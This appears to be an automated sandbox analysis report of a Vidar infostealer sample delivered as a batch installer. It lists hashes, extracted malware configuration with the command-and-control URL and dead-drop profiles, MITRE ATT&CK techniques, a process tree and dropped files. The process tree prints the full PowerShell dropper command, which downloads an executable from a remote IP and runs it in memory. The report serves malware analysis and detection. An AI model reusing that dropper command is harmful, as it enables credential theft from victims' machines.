vidar | 3e6a57b6588c5f28123ac53555fb31aa7cd1952762ce0ec0723265cda6cc7ebd

Analysis

max time kernel
135s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22/01/2025, 00:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup/Setup-install.bat
Size 10KB
Sample250122-bb5m9azrem
SHA256 7b9db02ad489193d1b9a5d7d7edc41a69cbc69d5e15d8267c2bf52a25dd434f3
MD5 13a2664aae1f59fe0dc94ff8fb4dfa06
SHA1 a783e4b0513e16b06fa7872e454860642148957e
SHA512 082265517a550bb06f513ddc807536de67a0c8e6531897f4b27d2772bdcbd8307541d83e4d44c9c54beb86d326367716df3dffd29d3ba35077d6afc11477ebbc
SSDEEP 48:syolccKcrr30cFmyPYlyhhcKKIcKKWjJcKz3EcKcKcKfJiPhcK6cKEl559HccG5p:oXtCZuMdpf4a
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

vidar fc0stn google discovery execution phishing stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://147.45.44.131/infopage/rwtvha.exe
exe.dropper
http://147.45.44.131/infopage/rwtvha.exe

Extracted

Family

vidar

Botnet

fc0stn

https://t.me/w0ctzn
https://steamcommunity.com/profiles/76561199817305251

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0

Signatures

Detected google phishing page
phishing google
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	4460	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4460	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4460 set thread context of 548	4460	powershell.exe	87

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4460	powershell.exe
4460	powershell.exe
640	msedge.exe
640	msedge.exe
3340	msedge.exe
3340	msedge.exe
4540	identity_helper.exe
4540	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe
3340	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 4460	3372	cmd.exe	84
PID 3372 wrote to memory of 4460	3372	cmd.exe	84
PID 4460 wrote to memory of 4640	4460	powershell.exe	85
PID 4460 wrote to memory of 4640	4460	powershell.exe	85
PID 4640 wrote to memory of 5108	4640	csc.exe	86
PID 4640 wrote to memory of 5108	4640	csc.exe	86
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 4460 wrote to memory of 548	4460	powershell.exe	87
PID 3340 wrote to memory of 3960	3340	msedge.exe	107
PID 3340 wrote to memory of 3960	3340	msedge.exe	107
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 4320	3340	msedge.exe	108
PID 3340 wrote to memory of 640	3340	msedge.exe	109
PID 3340 wrote to memory of 640	3340	msedge.exe	109
PID 3340 wrote to memory of 3040	3340	msedge.exe	110
PID 3340 wrote to memory of 3040	3340	msedge.exe	110
PID 3340 wrote to memory of 3040	3340	msedge.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup\Setup-install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'http://147.45.44.131/infopage/rwtvha.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp" "c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP"
      4⤵
      PID:5108
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0xf8,0x130,0x7ffbe14d46f8,0x7ffbe14d4708,0x7ffbe14d4718
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8
  2⤵
  PID:3040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4048 /prefetch:1
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:1
  2⤵
  PID:868
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
  2⤵
  PID:4768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
  2⤵
  PID:2724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5356 /prefetch:1
  2⤵
  PID:3552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:1700

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2412

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8
MD5 37f660dd4b6ddf23bc37f5c823d1c33a
SHA1 1c35538aa307a3e09d15519df6ace99674ae428b
SHA512 807b8b8dc9109b6f78fc63655450bf12b9a006ff63e8f29ade8899d45fdf4a6c068c5c46a3efbc4232b9e1e35d6494f00ded5cdb3e235c8a25023bfbd823992d
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 b9e31937ef4ce588fbfaa1f0f61897900921aa740f583a5c8887c100365aa98a
MD5 9fe1498dd64a0b24ae74ffd66fe8d65f
SHA1 1eff1102e0b0835086ef009476f08fa499ee2321
SHA512 b13b743a04087810d3303400bd7e3d1ecd82c4b644f7107fd3433200ec00a84375e181e474d740fc89676e93b299ab28eb35909d640412c9b638dd9199c6c173
SSDEEP 96:nlkvI1hudJwpvWMoiVmdeHqZEYjUWQyV+VDCziEwb:nlkwjkJGWMXzYjro
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 00944f4517e6444915b861fe51137d43ed26f5c5ab6000101d84d434eb396123
MD5 efaf8d05ab8f11ac9e09589340ecf7ac
SHA1 75d9223faa113386c00ae7fc34c04e8d0d88c09d
SHA512 17911b0f84fe36443fca24e652028b23f581f51c18786cfe1d9cb705d7844f82e8b05fc41467aa5c5ce0c8de153ab3fad3eb749ff74fcfcf2664d4641ff28fe2
SSDEEP 96:nlk+I1hu15wpE2WMoiVmdeDuR1jq1EYjUWQyV+VD7AiEwb:nlkHjg5X2WMzuRhhYjrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
MD5 206702161f94c5cd39fadd03f4014d98
SHA1 bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA512 0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 10KB
SHA256 eb4174b1525ca884d911e1c50d781b0568445ab1af946e8c6b15201038437bfc
MD5 7a7a36929045246772c788afd06824be
SHA1 19bc54a624fe6f3fd732a14bd4857adf488d9495
SHA512 d04ab257f969d3a5876a84a20dd24e3c46f24bc8ec4ae44f6d5ee0f3dab43ab260160ce309beeea9ee52432b959bde3a9527f95b22ab4840f0d3811db4d2071e
SSDEEP 192:YoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupJWWjj2RUK/emSrmAi8wU8q:A9iIxuERzA83h09RZxYJWJb2pfiPU8ju
MD5 SHA1 SHA512 SSDEEP

Submit Download

RES6F63.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp
Size 1KB
SHA256 4c5c011add5ed0e62a15be57689539e4ae66d30a62b91bfd46573a827c09dfb1
MD5 b0d01e58088a9da540dde6f0e020213e
SHA1 661612aac66b4057ff9d830dfd2e8d6971a642b7
SHA512 648b9b0cd4f6b94d329e162b79ef27904cf2ad3fed401ec748854cea6f47a17b93dca62d8db76d047e477a8ee65bb3c629a2e60b6c5904b8a9975f056349d7d7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_fqbjb2sb.3bt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fqbjb2sb.3bt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

noth44de.dll

Path C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.dll
Size 9KB
SHA256 0a8ecb1587b63bdeaff491a8f7888d954c6c80ac22e65bc83933e61e3108a4f2
MD5 98014637d68d00443f347928ef88b1a8
SHA1 4fc1f64fd2afa689dc9b6646a129962c345829d0
SHA512 d9aa8acee0ddc7767a25c06e02f496ee9d6714cbba349c5151b87fef874acecedd0a77f602692da17a8510fc53c3d140c1561eb26a8ad9aa68b5748c3d2c1152
SSDEEP 192:0RH6HN4QhfNQ8q8888yYAdvRjOa6UxRa95MqBYCeN45k:fNxNv9Ol+a95MqgS5k
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP
Size 652B
SHA256 5b582fdb80a83b1e7b08ed2d10a200daea107259b6cf56b2fc1e817fd9bf5ad4
MD5 d89a1e4ddcd3bb5f854caf57c914bc09
SHA1 b20253c104eda8bc0e247e2750ec9b9a88e0ad7c
SHA512 051f0ebe0ba7fdc53fe49b1c1b4a1290828c2a8ea6a415ef93a3eb19a9f42eada366b6b9544fb80afb8e22ec8679a8e4cb6013dc0025b55c4e35df472a091db8
MD5 SHA1 SHA512

Submit Download

noth44de.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.0.cs
Size 10KB
SHA256 642d655cf208af1b6b913ef51c89134f794f185c4f661e5428b5e50dd5f36cbb
MD5 478b152b3b9b40edaf5edcc91037dab8
SHA1 89b9a0358abdbc20f0093421d020ceebe6e5d515
SHA512 9000302d0cafe0421143491e73846bad7bb03b1863c7515452fb2789d6b7124a87c8b0e11ef8c8020d663f5849d7f8055413c0e2e7dfe35bf180dde508aba12e
SSDEEP 192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6pqT:2oYLoH97t/Z7pgjvzf5tT
MD5 SHA1 SHA512 SSDEEP

Submit Download

noth44de.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline
Size 204B
SHA256 60386dbe41a2f39e0fc77ef1b23d463a95f87b2fc57f51f1a9ce0bcb8c151390
MD5 6e81d35ef615b53c3438650c935851ee
SHA1 2149db51db6acae576f29efafcc77cbc7a8f4c59
SHA512 7ee45fec82aa03dcb0e53c364e6d00dbeacd6d823a5c684b0c2a549e50672309b26cd4e5b2e42b95dc3ed818bed3e28b177b71045a8d9a27c10d2f38cac34427
MD5 SHA1 SHA512

Submit Download

memory/548-28-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/548-32-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/548-33-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/548-35-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/548-42-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/4460-26-0x0000018770E10000-0x0000018770E18000-memory.dmp

Download

memory/4460-31-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Download

memory/4460-0-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

Download

memory/4460-13-0x00000187589E0000-0x00000187589EE000-memory.dmp

Download

memory/4460-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Download

memory/4460-11-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

Download

memory/4460-10-0x0000018770E40000-0x0000018770E62000-memory.dmp

Download